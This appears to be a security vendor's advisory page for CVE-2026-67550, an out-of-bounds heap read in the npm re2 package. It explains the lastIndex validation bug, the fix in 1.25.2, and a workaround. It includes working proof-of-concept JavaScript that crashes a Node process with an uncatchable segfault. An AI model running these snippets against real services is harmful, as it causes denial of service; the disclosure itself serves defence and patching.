CVE-2026-67550

CVE-2026-67550 is a medium-severity out-of-bounds read vulnerability in re2 (npm), affecting versions <= 1.25.1. It is fixed in 1.25.2.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

re2: Out-of-bounds heap read in exec/test/match via attacker-influenced lastIndex on a non-ASCII subject → uncatchable process crash (DoS)

re2 validates the user-settable lastIndex against the subject's UTF-8 byte length but then uses it as a UTF-16 code-unit count to walk the subject buffer, with no bounds check. For any non-ASCII subject, the byte length is larger than the true character count, so a lastIndex between those two values passes validation while pointing past the end of the buffer. The subsequent walk reads out of bounds. With a large subject the read marches into unmapped memory and the process dies with SIGABRT/SIGSEGV, an uncatchable crash (try/catch cannot stop it), i.e. a denial of service for any worker/process that runs the match. In some cases the out-of-bounds bytes are copied into the returned value (a bounded, best-effort heap information leak).

Root cause

The subject wrapper stores the UTF-8 byte length in StrVal::length:

  • lib/addon.cc:200 auto argLength = utf8Length(s, isolate);, UTF-8 byte count
  • lib/addon.cc:209 lastStringValue.reset(buffer, argSize, argLength, startFrom, false, isAscii);

setIndex then validates the (UTF-16) lastIndex against that byte length and walks the buffer by character count:

// lib/addon.cc:229
void StrVal::setIndex(size_t newIndex) {
    isValidIndex = newIndex <= length;   // length == UTF-8 BYTE length, not UTF-16 length
    if (!isValidIndex) { index = newIndex; byteIndex = 0; return; }
    ...
    // addon.cc:263
    byteIndex = index < newIndex
        ? getUtf16PositionByCounter(data, byteIndex, newIndex - index)
        : getUtf16PositionByCounter(data, 0, newIndex);
    index = newIndex;
}

getUtf16PositionByCounter reads data[from] and advances by the UTF-8 char size with no check of from against the buffer size:

// lib/wrapped_re2.h:264
inline size_t getUtf16PositionByCounter(const char *data, size_t from, size_t n) {
    for (; n > 0; --n) {
        size_t s = getUtf8CharSize(data[from]);   // <-- OOB read once `from` passes the buffer end
        from += s;
        if (s == 4 && n >= 2) --n;
    }
    return from;
}

lastIndex is user-settable to any positive integer (capped only at >= 0, no upper bound):

// lib/accessors.cc:166
NAN_SETTER(WrappedRE2::SetLastIndex) {
    ...
    int n = value->NumberValue(...).FromMaybe(0);
    re2->lastIndex = n <= 0 ? 0 : n;   // no upper bound relative to the subject
}

For an ASCII subject the byte length equals the UTF-16 length, so the guard is correct, this only triggers on non-ASCII subjects. The out-of-bounds read happens inside prepareArgument for any global/sticky regex, reached by exec, test, String.prototype.match, replace, and split.

Proof of concept

Minimal (AddressSanitizer, deterministic OOB read):

const RE2 = require('re2');
const re = new RE2('a', 'y');   // sticky; 'g' also works
re.lastIndex = 3;               // 3 <= byteLen(4) passes the guard; only 2 real chars exist
re.exec('éé');                  // U+00E9 = 2 bytes each

Built with -fsanitize=address, this aborts with:

ERROR: AddressSanitizer: heap-buffer-overflow ... READ of size 1
  #0 getUtf16PositionByCounter   wrapped_re2.h:268
  #1 StrVal::reset               addon.cc:277
  #2 WrappedRE2::prepareArgument addon.cc:209
  #3 WrappedRE2::Exec            exec.cc:17

The overflowed region is the subject buffer allocated by node::Buffer::New at addon.cc:205.

Real-world impact on the shipped prebuilt binary (no ASAN), uncatchable crash:

const RE2 = require('re2');
const s = '中'.repeat(40000000);        // UTF-16 length 40M, UTF-8 bytes 120M
const re = new RE2('a', 'y');
re.lastIndex = Buffer.byteLength(s) - 1; // passes the byte-length guard, far exceeds real char count
re.exec(s);                              // walks into unmapped memory -> SIGSEGV (exit 139)

try { ... } catch (e) {} around the call does not prevent termination, it is a native fault, not a JS exception. Validated on a clean npm install [email protected] (latest): stock prebuilt → SIGSEGV; ASAN build → the heap-buffer-overflow read above.

Resolution

Fixed in re2 1.25.2.

lastIndex is now validated against the subject's UTF-16 length instead of its
UTF-8 byte length (lib/addon.cc), so an out-of-range lastIndex is rejected
before the buffer is walked. As defense in depth, the code-unit walk
(getUtf16PositionByCounter in lib/wrapped_re2.h) is now bounded by the
buffer size and can no longer read past the end.

Remediation: upgrade to [email protected] or later.

Workaround (if you cannot upgrade): do not assign lastIndex from untrusted
input, or clamp it to the subject's string length (str.length) before calling
exec/test/match/replace/split on a non-ASCII subject.

Impact

  • Denial of service (primary): an uncatchable native crash that terminates the Node process/worker. Reachable remotely and without authentication wherever an application (a) uses a global or sticky RE2, (b) applies it to a non-ASCII subject, and (c) sets lastIndex from attacker-influenced data (e.g. resuming a scan/pagination at a client-supplied offset).
  • Information disclosure (secondary, best-effort): the out-of-bounds byteIndex can cause adjacent heap bytes to be copied into the returned value (e.g. the leading segment of a replace result). This is bounded and unreliable, the subject buffer is calloc-allocated (zero-filled) and the over-read distance depends on interpreting out-of-bounds bytes as UTF-8 sizes, so it is noted for completeness, not as a dependable primitive.

This is distinct from GHSA-8hcv-x26h-mcgp (the global replace() output-amplification abort), which was fixed in 1.25.1. This lastIndex out-of-bounds read is a separate defect and remains present in 1.25.1.

A read operation accesses a memory location beyond the intended buffer boundary. Typical impact: sensitive data disclosure or crash.

CVE-2026-67550 has a CVSS score of 5.7 (Medium). The vector is requires local access, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.25.2); upgrading removes the vulnerable code path.

Affected versions

re2 (<= 1.25.1)

Security releases

re2 → 1.25.2 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade re2 to 1.25.2 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-67550? CVE-2026-67550 is a medium-severity out-of-bounds read vulnerability in re2 (npm), affecting versions <= 1.25.1. It is fixed in 1.25.2. A read operation accesses a memory location beyond the intended buffer boundary.
  2. How severe is CVE-2026-67550? CVE-2026-67550 has a CVSS score of 5.7 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of re2 are affected by CVE-2026-67550? re2 (npm) versions <= 1.25.1 is affected.
  4. Is there a fix for CVE-2026-67550? Yes. CVE-2026-67550 is fixed in 1.25.2. Upgrade to this version or later.
  5. Is CVE-2026-67550 exploitable, and should I be worried? Whether CVE-2026-67550 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-67550 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-67550? Upgrade re2 to 1.25.2 or later.

Other vulnerabilities in re2

Stop the waste.
Protect your environment with Kodem.